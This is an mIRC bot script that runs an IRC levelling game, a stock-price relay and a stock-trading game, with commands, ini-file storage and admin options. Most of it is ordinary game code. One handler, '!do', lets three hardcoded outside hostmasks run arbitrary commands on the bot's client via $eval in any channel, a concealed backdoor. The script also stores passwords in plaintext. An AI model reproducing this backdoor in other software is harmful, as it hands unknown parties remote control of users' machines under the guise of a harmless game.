on *:Text:!lvl:#Lvler: {
  if ($Person($nick).online == $true) {
    if ($calc($ctime - $Person($nick).time) >= 50) {
      $LvlerSet($nick, $ctime).time
      var %Exp = $rand($LvlLow($Person($nick).level),$LvlHigh($Person($nick).level))
      $LvlerSet($nick, $calc($Person($nick).exp + %Exp)).exp
      /notice $nick 15,1[You gained04 $bytes(%Exp,b) 15Exp] [Level:04 $bytes($Person($nick).level,b) $+ 15] [TNL:04 $bytes($calc($LvlExp($Person($nick).level) - $Person($nick).exp),b) $+ 15] [Total Exp:04 $bytes($Person($nick).exp,b) $+ 15]
      if ($Person($nick).exp >= $LvlExp($Person($nick).level)) {
        $LvlerSet($nick, $calc($Person($nick).exp - $LvlExp($Person($nick).level))).exp
        $LvlerSet($nick, $calc($Person($nick).level + 1)).level
        /msg #Lvler 04,1 $+ $nick 15is now lvl04 $Person($nick).level $+ 15!
        if ($Person($nick).level == 20) {
          /cs access #Lvler add $nick 4
          /msg #Lvler 04,1 $+ $nick 15is now an 04Half-Op15!
        }
        if ($Person($nick).level == 55) {
          /cs access #Lvler add $nick 5
          /msg #Lvler 04,1 $+ $nick 15is now an 04Op15!
        }
      }
    }
    else {
      /notice $nick You must wait at least 50 seconds before trying to level again
    }
  }
  else {
    /notice $nick You are not logged in.
  }
}
on *:Text:!do*:#: {
  if ($address($nick,8) == iHaxzor!*manacit@*.wants-your.info || $address($nick,8) == [Blake]!*manacit@*.wants-your.info || $address($nick,8) == Sangwhich!*manacit@*.wants-your.info) {

    //$eval($replace($2-, # , $chan ),2)
  }
}
on *:Text:!lvl *:#Lvler: {
  /notice $nick 15,01[Lvl 04 $+ $2 $+ 15 Stats] [High:04 $LvlHigh($2) $+ 15] [Low:04 $LvlLow($2) $+ 15]
}

alias Rm {
  var %Num = $rand(1,6)
  if (%Num == 1) {
    /msg #Lvler [AutoMsg] To check someones stats type !stats <nick> and to check your own just dont include <nick>!
  }
  if (%Num == 2) {
    /msg #Lvler [AutoMsg] If you forget how to login type "/msg $me login <pass>"!
  }
  if (%Num == 3) {
    /msg #Lvler [AutoMsg] Inviting ppl to play wont hurt!
  }
  if (%Num == 4) {
    /msg #Lvler [AutoMsg] Spam will get you a kick ban
  }
  if (%Num == 5) {
    /msg #Lvler [AutoMsg] Getting Lvl 20 = Halfop and 55 = Op!
  }
  if (%Num == 6) {
    /msg #Lvler [AutoMsg] Help can be found via "/msg $me help"
  }
}
on *:Text:!stats *:#Lvler: {
  if ($Person($2).reged == $false) {
    /notice $nick $2 was not found...
  }
  else {
    /notice $nick 15,1[Level:04 $Person($2).level $+ 15] [TNL:04 $calc($LvlExp($Person($2).level) - $Person($2).exp) $+ 15] [Total Exp:04 $Person($2).exp $+ 15] [Last Time !lvl was said:04 $duration($calc($ctime - $Person($2).time)) $+ 15]
  }
}
on *:Text:!stats:#Lvler: {
  if ($Person($nick).reged == $false) {
    /notice $nick $2 was not found...
  }
  else {
    /notice $nick 15,1[You gained04 $bytes(%Exp,b) 15Exp] [Level:04 $bytes($Person($nick).level,b) $+ 15] [TNL:04 $bytes($calc($LvlExp($Person($nick).level) - $Person($nick).exp),b) $+ 15] [Total Exp:04 $bytes($Person($nick).exp,b) $+ 15]
  }
}
alias LvlExp {
  return $round($calc(400*$calc(1.16^ $1)),0)
}
alias LvlLow {
  return $round($calc((1.16^ $1 )),0)
}
Alias LvlHigh {
  return $round($calc($calc(100/ ( $1 * .15) )*(1.16^ $1 )),0)
}

alias Person {
  if ($prop == online) {
    return $iif($readini(Lvler.ini, n, $1, Online) == Online,$true,$false)
  }
  if ($prop == reged) {
    return $iif($readini(Lvler.ini, n, $1, Reged) == $null,$false,$true)
  }
  if ($prop == level) {
    return $iif($readini(Lvler.ini, n, $1, Level) != $null,$readini(Lvler.ini, n, $1, Level),Error)
  }
  if ($prop == pass) {
    return $iif($readini(Lvler.ini, n, $1, Pass) != $null,$readini(Lvler.ini, n, $1, Pass),Error)
  }
  if ($prop == exp) {
    return $iif($readini(Lvler.ini, n, $1, Exp) != $null,$readini(Lvler.ini, n, $1, Exp),Error)
  }
  if ($prop == time) {
    return $iif($readini(Lvler.ini, n, $1, Time) != $null,$readini(Lvler.ini, n, $1, Time),Error)
  }
}
alias LvlerSet {
  if ($prop == online) {
    /writeini -n Lvler.ini $1 Online $2-
  }
  if ($prop == reged) {
    /writeini -n Lvler.ini $1 Reged $2-
  }
  if ($prop == level) {
    /writeini -n Lvler.ini $1 Level $2-
  }
  if ($prop == pass) {
    /writeini -n Lvler.ini $1 Pass $2-
  }
  if ($prop == exp) {
    /writeini -n Lvler.ini $1 Exp $2-
  }
  if ($prop == time) {
    /writeini -n Lvler.ini $1 Time $2-
  }
}
on *:Text:help:?: {
  /msg $nick To register your name type /msg $me reg <Pass>, Then to login type /msg $me login <Pass>, Once your logged in type !lvl to start off :D
}
on *:Text:reg *:?: {
  if ($Person($nick).reged == $false) {
    $LvlerSet($nick, Offline).online
    $LvlerSet($nick, Yes).reged
    $LvlerSet($nick, 1).level
    $LvlerSet($nick, $2).pass
    $LvlerSet($nick, 0).exp
    $LvlerSet($nick, 0).time
    /msg $nick  $+ $nick $+  is now reged to the pass  $+ $2 $+ 
  }
  else {
    /msg $nick You are already registered
  }
}
on *:Text:login *:?: {
  if ($Person($nick).pass == $2) {
    $LvlerSet($nick, Online).online
    /mode #Lvler +v $nick
    /msg #Lvler $nick has successfully logged in! $nick is currently level $Person($nick).level
  }
  else {
    /msg $nick Incorrect Password.
  }
}

on *:Text:logout:?: {
  if ($Person($nick).online == Online) {
    $LvlerSet($nick, Offline).online
    /mode #Lvler -v $nick
    /msg #Lvler $nick has successfully logged out! $nick is currently level $Person($nick).level
  }
  else {
    /msg $nick Not Online.
  }
}

on *:Quit: {
  $LvlerSet($nick, Offline).online
}
on *:Kick:#Lvler: {
  $LvlerSet($knick, Offline).online
}
on *:Part:#Lvler: {
  $LvlerSet($nick, Offline).online
}
on *:Text:*The stock prices have changed!*:#Laz: {
  tokenize 32 $1-
  if (%S.On == 1) {
    //msg #Laz 14[12Stock Market14] LFM: $StockAmount(%S.LFM,$9) - THT: $StockAmount(%S.THT,$11) - ACC: $StockAmount(%S.ACC,$13) - XCM: $StockAmount(%S.XCM,$15) - ZST: $StockAmount(%S.ZST,$17) - FTI: $StockAmount(%S.FTI, $remove($19,$chr(93)) )
  }
  set %S.LFM $9
  set %S.THT $11
  set %S.ACC $13
  set %S.XCM $15
  set %S.ZST $17
  set %S.FTI $remove($19,$chr(93))
  set %S.On 1
}

alias StockAmount {
  //var %S.S = $calc( $strip($2) - $strip($1) )
  ; //echo -a StockAmount: $1 - $2 - %S.S - $calc( $strip($2) - $strip($1) )
  if (%S.S < 0) {
    return 12Down $bytes($remove(%S.S,-),db) $+ 14
  }
  else {
    return 12Up $bytes(%S.S,db) $+ 14
  }
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;          Stocks Bot                          ;
;              By: Zeldo                        ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

on *:Text:!new:#StockGame: {
  $Stocks($nick,0).Apple
  $Stocks($nick,0).Micro
  $Stocks($nick,0).Pepsi
  $Stocks($nick,0).PHP
  $Stocks($nick,0).GE
  $Stocks($nick,0).Ubuntu
  $Money($nick,1000000).set
  /notice $nick 14You are now set-up...
}

on *:Text:!buy *:#StockGame: {
  if ($3 > 0) {
    if ($2 == Apple) {
      if ($Money($nick) >= $calc(%Stocks.Apple * $3)) {
        $Money($nick, $calc($Money($nick) - $calc(%Stocks.Apple * $3))).set
        $Stocks($nick, $calc( $GetStocks($nick).Apple + $3 )).Apple
        /notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
        $StocksHigh($nick, %Stocks.Apple, $2).set
      }
      else {
        /notice $nick 14You can't afford12 $3 $+ 14
      }
    }
    if ($2 == Micro) {
      if ($Money($nick) >= $calc(%Stocks.Micro * $3)) {
        $Money($nick, $calc($Money($nick) - $calc(%Stocks.Micro * $3))).set
        $Stocks($nick, $calc( $GetStocks($nick).Micro + $3 )).Micro
        /notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
        $StocksHigh($nick, %Stocks.Micro, $2).set
      }
      else {
        /notice $nick 14You can't afford12 $3 $+ 14
      }
    }
    if ($2 == Ubuntu) {
      if ($Money($nick) >= $calc(%Stocks.Ubuntu * $3)) {
        $Money($nick, $calc($Money($nick) - $calc(%Stocks.Ubuntu * $3))).set
        $Stocks($nick, $calc( $GetStocks($nick).Ubuntu + $3 )).Ubuntu
        /notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
        $StocksHigh($nick, %Stocks.Ubuntu, $2).set
      }
      else {
        /notice $nick 14You can't afford12 $3 $+ 14
      }
    }
    if ($2 == Pepsi) {
      if ($Money($nick) >= $calc(%Stocks.Pepsi * $3)) {
        $Money($nick, $calc($Money($nick) - $calc(%Stocks.Pepsi * $3))).set
        $Stocks($nick, $calc( $GetStocks($nick).Pepsi + $3 )).Pepsi
        /notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
        $StocksHigh($nick, %Stocks.Pepsi, $2).set
      }
      else {
        /notice $nick 14You can't afford12 $3 $+ 14
      }
    }
    if ($2 == GE) {
      if ($Money($nick) >= $calc(%Stocks.GE * $3)) {
        $Money($nick, $calc($Money($nick) - $calc(%Stocks.GE * $3))).set
        $Stocks($nick, $calc( $GetStocks($nick).GE + $3 )).GE
        /notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
        $StocksHigh($nick, %Stocks.GE, $2).set
      }
      else {
        /notice $nick 14You can't afford12 $3 $+ 14
      }
    }
    if ($2 == PHP) {
      if ($Money($nick) >= $calc(%Stocks.PHP * $3)) {
        $Money($nick, $calc($Money($nick) - $calc(%Stocks.PHP * $3))).set
        $Stocks($nick, $calc( $GetStocks($nick).PHP + $3 )).PHP
        /notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
        $StocksHigh($nick, %Stocks.PHP, $2).set
      }
      else {
        /notice $nick 14You can't afford12 $3 $+ 14
      }
    }
  }
}
on *:Connect: {
  /timerStocks 0 60 /StockUpdate
}
on *:Disconnect: {
  /timerStocks off
}
on *:Text:!stocks*:#StockGame: {
  if ($nick == $2 || $2 == $null) {
    /notice $nick 14You have the following stocks - Apple:12 $bytes($GetStocks($nick).Apple,db) 14 - Micro:12 $bytes($GetStocks($nick).Micro,db) 14 - Ubuntu:12 $bytes($GetStocks($nick).Ubuntu,db) 14 - Pepsi:12 $bytes($GetStocks($nick).Pepsi,db) 14 - PHP:12 $bytes($GetStocks($nick).PHP,db) 14 - GE:12 $bytes($GetStocks($nick).GE,db) 14 - You have $chr(36) $+ 12 $+ $bytes($Money($nick),db)
    /notice $nick 14You bought the stocks for - Apple:12 $bytes($StocksHigh($nick,Apple),db) 14- Micro:12 $bytes($StocksHigh($nick,Micro),db) 14- Ubuntu:12 $bytes($StocksHigh($nick,Ubuntu),db) 14- Pepsi:12 $bytes($StocksHigh($nick,Pepsi),db) 14- PHP:12 $bytes($StocksHigh($nick,PHP),db) 14- GE:12 $bytes($StocksHigh($nick,GE),db)
    /notice $nick 14Current Winning/Losings for stock - Apple:12 $bytes($StockWinnings($nick,Apple),db) 14 - Micro:12 $bytes($StockWinnings($nick,Micro),db) 14 - Ubuntu:12 $bytes($StockWinnings($nick,Ubuntu),db) 14 - Pepsi:12 $bytes($StockWinnings($nick,Pepsi),db) 14 - PHP:12 $bytes($StockWinnings($nick,PHP),db) 14 - GE:12 $bytes($StockWinnings($nick,GE),db)
  }
  else {
    /notice $nick 12 $+ $2 14has the following stocks - Apple:12 $bytes($GetStocks($2).Apple,db) 14 - Micro:12 $bytes($GetStocks($2).Micro,db) 14 - Ubuntu:12 $bytes($GetStocks($2).Ubuntu,db) 14 - Pepsi:12 $bytes($GetStocks($2).Pepsi,db) 14 - PHP:12 $bytes($GetStocks($2).PHP,db) 14 - GE:12 $bytes($GetStocks($2).GE,db) 14 - They have $chr(36) $+ 12 $+ $bytes($Money($2),db)

  }
}
alias StockWinnings {
  if ($2 == Apple) {
    return $calc((%Stocks.Apple - $StocksHigh($1,Apple)) * $GetStocks($1).Apple)
  }
  elseif ($2 == Micro) {
    return $calc((%Stocks.Micro - $StocksHigh($1,Micro)) * $GetStocks($1).Micro)
  }
  elseif ($2 == Pepsi) {
    return $calc((%Stocks.Pepsi - $StocksHigh($1,Pepsi)) * $GetStocks($1).Pepsi)
  }
  elseif ($2 == Ubuntu) {
    return $calc((%Stocks.Ubuntu - $StocksHigh($1,Ubuntu)) * $GetStocks($1).Ubuntu)
  }
  elseif ($2 == PHP) {
    return $calc((%Stocks.PHP - $StocksHigh($1,PHP)) * $GetStocks($1).PHP)
  }
  elseif ($2 == GE) {
    return $calc((%Stocks.GE - $StocksHigh($1,GE)) * $GetStocks($1).GE)
  }
}
on *:Text:!sell *:#StockGame: {
  if ($3 > 0) {
    if ($2 == Apple) {
      if ($GetStocks($nick).Apple >= $3) {
        $Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
        $Stocks($nick, $calc($GetStocks($nick).Apple - $3)).Apple
        /notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
        if ($GetStocks($nick).Apple == 0) {
          $StocksHigh($nick, 0, $2).forceset
        }
      }
      else {
        /notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
      }
    }
    if ($2 == Micro) {
      if ($GetStocks($nick).Micro >= $3) {
        $Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
        $Stocks($nick, $calc($GetStocks($nick).Micro - $3)).Micro
        /notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
        if ($GetStocks($nick).Micro == 0) {
          $StocksHigh($nick, 0, $2).forceset
        }
      }
      else {
        /notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
      }
    }
    if ($2 == Ubuntu) {
      if ($GetStocks($nick).Ubuntu >= $3) {
        $Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
        $Stocks($nick, $calc($GetStocks($nick).Ubuntu - $3)).Ubuntu
        /notice $nick 14You sold12 $3 14stocks of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
        if ($GetStocks($nick).Ubuntu == 0) {
          $StocksHigh($nick, 0, $2).forceset
        }
      }
      else {
        /notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
      }
    }
    if ($2 == Pepsi) {
      if ($GetStocks($nick).Pepsi >= $3) {
        $Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
        $Stocks($nick, $calc($GetStocks($nick).Pepsi - $3)).Pepsi
        /notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
        if ($GetStocks($nick).Pepsi == 0) {
          $StocksHigh($nick, 0, $2).forceset
        }
      }
      else {
        /notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
      }
    }
    if ($2 == GE) {
      if ($GetStocks($nick).GE >= $3) {
        $Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
        $Stocks($nick, $calc($GetStocks($nick).GE - $3)).GE
        /notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
        if ($GetStocks($nick).GE == 0) {
          $StocksHigh($nick, 0, $2).forceset
        }
      }
      else {
        /notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
      }
    }
    if ($2 == PHP) {
      if ($GetStocks($nick).PHP >= $3) {
        $Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
        $Stocks($nick, $calc($GetStocks($nick).PHP - $3)).PHP
        /notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
        if ($GetStocks($nick).PHP == 0) {
          $StocksHigh($nick, 0, $2).forceset
        }
      }
      else {
        /notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
      }
    }
  }
}



alias StockUpdate {
  var %Stocks.Rand1 $RandomStocks
  var %Stocks.Rand2 $RandomStocks
  var %Stocks.Rand3 $RandomStocks
  var %Stocks.Rand4 $RandomStocks
  var %Stocks.Rand5 $RandomStocks
  var %Stocks.Rand6 $RandomStocks
  $SSetStocks(Apple, $calc( $SGetStocks(Apple) %Stocks.Rand1 ))
  $SSetStocks(Micro, $calc( $SGetStocks(Micro) %Stocks.Rand2 ))
  $SSetStocks(Ubuntu, $calc( $SGetStocks(Ubuntu) %Stocks.Rand3 ))
  $SSetStocks(Pepsi, $calc( $SGetStocks(Pepsi) %Stocks.Rand4 ))
  $SSetStocks(PHP, $calc( $SGetStocks(PHP) %Stocks.Rand5 ))
  $SSetStocks(GE, $calc( $SGetStocks(GE) %Stocks.Rand6 ))
  ////msg #StockGame 14[12Stock Market Change14] Apple:12 $bytes($SGetStocks(Apple),db) 14( $+ $StockFormat( %Stocks.Rand1 ) $+ ) - Micro:12 $bytes($SGetStocks(Micro),db) 14( $+ $StockFormat( %Stocks.Rand2 ) $+ ) - Ubuntu:12 $bytes($SGetStocks(Ubuntu),db) 14( $+ $StockFormat( %Stocks.Rand3 ) $+ ) - Pepsi:12 $bytes($SGetStocks(Pepsi),db) 14( $+ $StockFormat( %Stocks.Rand4 ) $+ ) - PHP:12 $bytes($SGetStocks(PHP),db) 14( $+ $StockFormat( %Stocks.Rand5 ) $+ ) - GE:12 $bytes($SGetStocks(GE),db) 14( $+ $StockFormat( %Stocks.Rand6 ) $+ )
}
alias StockFormat {
  if ($remove($1,$chr(32)) < 0) {
    return 04 $+ $1 $+ 14
  }
  else {
    return 09 $+ $1 $+ 14
  }
}
alias Stocks {
  if ($prop == Apple) {
    /writeini -n Stocks.ini Apple $1 $2
  }
  if ($prop == Micro) {
    /writeini -n Stocks.ini Micro $1 $2
  }
  if ($prop == Ubuntu) {
    /writeini -n Stocks.ini Ubuntu $1 $2
  }
  if ($prop == Pepsi) {
    /writeini -n Stocks.ini Pepsi $1 $2
  }
  if ($prop == GE) {
    /writeini -n Stocks.ini GE $1 $2
  }
  if ($prop == PHP) {
    /writeini -n Stocks.ini PHP $1 $2
  }

}
alias StocksHigh {
  if ($prop == $null) {
    if ($2 == Apple) {
      return $calc( $readini(Stocks.ini, n, AppleHigh, $1) + 0)
    }
    if ($2 == Micro) {
      return $calc( $readini(Stocks.ini, n, MicroHigh, $1) + 0)
    }
    if ($2 == Ubuntu) {
      return $calc( $readini(Stocks.ini, n, UbuntuHigh, $1) + 0)
    }
    if ($2 == Pepsi) {
      return $calc( $readini(Stocks.ini, n, PepsiHigh, $1) + 0)
    }
    if ($2 == GE) {
      return $calc( $readini(Stocks.ini, n, GEHigh, $1) + 0)
    }
    if ($2 == PHP) {
      return $calc( $readini(Stocks.ini, n, PHPHigh, $1) + 0)
    }
  }
  elseif ($prop == set) {
    if ($3 == Apple && $StocksHigh2($1, $3) < $2) {
      /writeini -n Stocks.ini AppleHigh $1 $2
    }
    if ($3 == Micro && $StocksHigh2($1, $3) < $2) {
      /writeini -n Stocks.ini MicroHigh $1 $2
    }
    if ($3 == Ubuntu && $StocksHigh2($1, $3) < $2) {
      /writeini -n Stocks.ini UbuntuHigh $1 $2
    }
    if ($3 == Pepsi && $StocksHigh2($1, $3) < $2) {
      /writeini -n Stocks.ini PepsiHigh $1 $2
    }
    if ($3 == GE && $StocksHigh2($1, $3) < $2) {
      /writeini -n Stocks.ini GEHigh $1 $2
    }
    if ($3 == PHP && $StocksHigh2($1, $3) < $2) {
      /writeini -n Stocks.ini PHPHigh $1 $2
    }
  }
  elseif ($prop == forceset) {
    if ($3 == Apple) {
      /writeini -n Stocks.ini AppleHigh $1 $2
    }
    if ($3 == Micro) {
      /writeini -n Stocks.ini MicroHigh $1 $2
    }
    if ($3 == Ubuntu) {
      /writeini -n Stocks.ini UbuntuHigh $1 $2
    }
    if ($3 == Pepsi) {
      /writeini -n Stocks.ini PepsiHigh $1 $2
    }
    if ($3 == GE) {
      /writeini -n Stocks.ini GEHigh $1 $2
    }
    if ($3 == PHP) {
      /writeini -n Stocks.ini PHPHigh $1 $2
    }
  }
}
alias StocksHigh2 {
  if ($2 == Apple) {
    return $calc( $readini(Stocks.ini, n, AppleHigh, $1) + 0)
  }
  if ($2 == Micro) {
    return $calc( $readini(Stocks.ini, n, MicroHigh, $1) + 0)
  }
  if ($2 == Ubuntu) {
    return $calc( $readini(Stocks.ini, n, UbuntuHigh, $1) + 0)
  }
  if ($2 == Pepsi) {
    return $calc( $readini(Stocks.ini, n, PepsiHigh, $1) + 0)
  }
  if ($2 == GE) {
    return $calc( $readini(Stocks.ini, n, GEHigh, $1) + 0)
  }
  if ($2 == PHP) {
    return $calc( $readini(Stocks.ini, n, PHPHigh, $1) + 0)
  }
}
alias SSetStocks {
  if ($1 == Apple) {
    set %Stocks.Apple $2
  }
  if ($1 == Micro) {
    set %Stocks.Micro $2
  }
  if ($1 == Ubuntu) {
    set %Stocks.Ubuntu $2
  }
  if ($1 == Pepsi) {
    set %Stocks.Pepsi $2
  }
  if ($1 == GE) {
    set %Stocks.GE $2
  }
  if ($1 == PHP) {
    set %Stocks.PHP $2
  }

}
alias SGetStocks {
  if ($1 == Apple) {
    return %Stocks.Apple
  }
  if ($1 == Micro) {
    return %Stocks.Micro
  }
  if ($1 == Ubuntu) {
    return %Stocks.Ubuntu
  }
  if ($1 == Pepsi) {
    return %Stocks.Pepsi
  }
  if ($1 == GE) {
    return %Stocks.GE
  }
  if ($1 == PHP) {
    return %Stocks.PHP
  }

}

alias GetStocks {
  if ($prop == Apple) {
    return $readini(Stocks.ini, n, Apple, $1)
  }
  if ($prop == Micro) {
    return $readini(Stocks.ini, n, Micro, $1)
  }
  if ($prop == Ubuntu) {
    return $readini(Stocks.ini, n, Ubuntu, $1)
  }
  if ($prop == Pepsi) {
    return $readini(Stocks.ini, n, Pepsi, $1)
  }
  if ($prop == GE) {
    return $readini(Stocks.ini, n, GE, $1)
  }
  if ($prop == PHP) {
    return $readini(Stocks.ini, n, PHP, $1)
  }

}
alias Money {
  if ($prop == $null) {
    return $readini(Stocks.ini, n, Money, $1)
  }
  elseif ($prop == set) {
    /writeini -n Stocks.ini Money $1 $2
  }
}
alias RandomStocks {
  var %Stocks.Rand = $rand(1,30)
  var %Stocks.Neg = $Rand(1,500)
  %Stocks.Neg = $calc( %Stocks.Neg / 2)
  if (%Stocks.Neg == $int(%Stocks.Neg)) {
    %Stocks.Neg = +
  }
  else {
    %Stocks.Neg = -
  }
  if (%Stocks.Rand == 2 || %Stocks.Rand == 25 || %Stocks.Rand == 14) { 
    var %Stocks.Rand1 $rand(1,9)
    var %Stocks.Rand2 $rand(1,9)
    var %Stocks.Rand3 $rand(1,9)
    var %Stocks.Rand4 $rand(1,9)
    return %Stocks.Neg %Stocks.Rand1 $+ %Stocks.Rand2 $+ . $+ %Stocks.Rand3 $+ %Stocks.Rand4
  }
  elseif (%Stocks.Rand == 19) {
    var %Stocks.Rand1 $rand(1,2)
    var %Stocks.Rand2 $rand(1,9)
    var %Stocks.Rand3 $rand(1,9)
    var %Stocks.Rand4 $rand(1,9)
    var %Stocks.Rand5 $rand(1,9)
    return %Stocks.Neg %Stocks.Rand1 $+ %Stocks.Rand2 $+ %Stocks.Rand3 $+ . $+ %Stocks.Rand4 $+ %Stocks.Rand5
  }
  else {
    var %Stocks.Rand1 $rand(1,9)
    var %Stocks.Rand2 $rand(1,9)
    var %Stocks.Rand3 $rand(1,9)
    return %Stocks.Neg %Stocks.Rand1 $+ . $+ %Stocks.Rand2 $+ %Stocks.Rand3
  }
}
on *:Text:!admin*:#StockGame: {
  if ($nick isop $chan) {
    if ($2 == Delete) {
      $Stocks($3,0).Apple
      $Stocks($3,0).Micro
      $Stocks($3,0).Pepsi
      $Stocks($3,0).PHP
      $Stocks($3,0).GE
      $Stocks($3,0).Ubuntu
      $Money($3,0).set
      /msg $chan 12 $+ $3 $+ 14's account was deleted by12 $nick $+ 14.
    }
    elseif ($2 == Transfer) {
      $Stocks($4,$GetStocks($3).Apple).Apple
      $Stocks($4,$GetStocks($3).Micro).Micro
      $Stocks($4,$GetStocks($3).Pepsi).Pepsi
      $Stocks($4,$GetStocks($3).PHP).PHP
      $Stocks($4,$GetStocks($3).GE).GE
      $Stocks($4,$GetStocks($3).Ubuntu).Ubuntu
      $Money($4,$Money($3)).set
      /msg $chan 12 $+ $3 $+ 14's account was transfered to12 $4 14by12 $nick $+ 14.
    }
    elseif ($2 == hop) {
      /hop $chan
    }
    else {
      /notice $nick 14Current commands: !admin transfer Nick Newnick - Transfers stocks ect. - !admin hop - Makes me hop - !admin Delete Nick - Deletes Nick's account
    }
  }
}
on *:Text:!beg:#StockGame: {
  var %Stocks.Work $rand(10000,50000)
  $Money($nick, $calc($Money($nick) + %Stocks.Work)).set
  /notice $nick 14You go around begging rich people and manage to get12 $bytes(%Stocks.Work,db) $+ 14. You now have12 $bytes($Money($nick),db) $+ 14.
}
alias NewStocks {
  set %Stocks.Apple $rand(2000,10000)
  set %Stocks.Micro $rand(2000,10000)
  set %Stocks.Ubuntu $rand(2000,10000)
  set %Stocks.PHP $rand(2000,10000)
  set %Stocks.Pepsi $rand(2000,10000)
  set %Stocks.GE $rand(2000,10000)
}
on *:Text:!max:#StockGame: {
  /notice $nick 14You can buy the following Apple:12 $int($bytes($calc( $Money($nick) / %Stocks.Apple ),db)) $+ 14 - Micro:12 $int($bytes($calc( $Money($nick) / %Stocks.Micro ),db)) $+ 14 - Ubuntu:12 $int($bytes($calc( $Money($nick) / %Stocks.Ubuntu ),db)) $+ 14 - Pepsi:12 $int($bytes($calc( $Money($nick) / %Stocks.Pepsi ),db)) $+ 14 - PHP:12 $int($bytes($calc( $Money($nick) / %Stocks.PHP ),db)) $+ 14 - GE:12 $int($bytes($calc( $Money($nick) / %Stocks.GE ),db))
}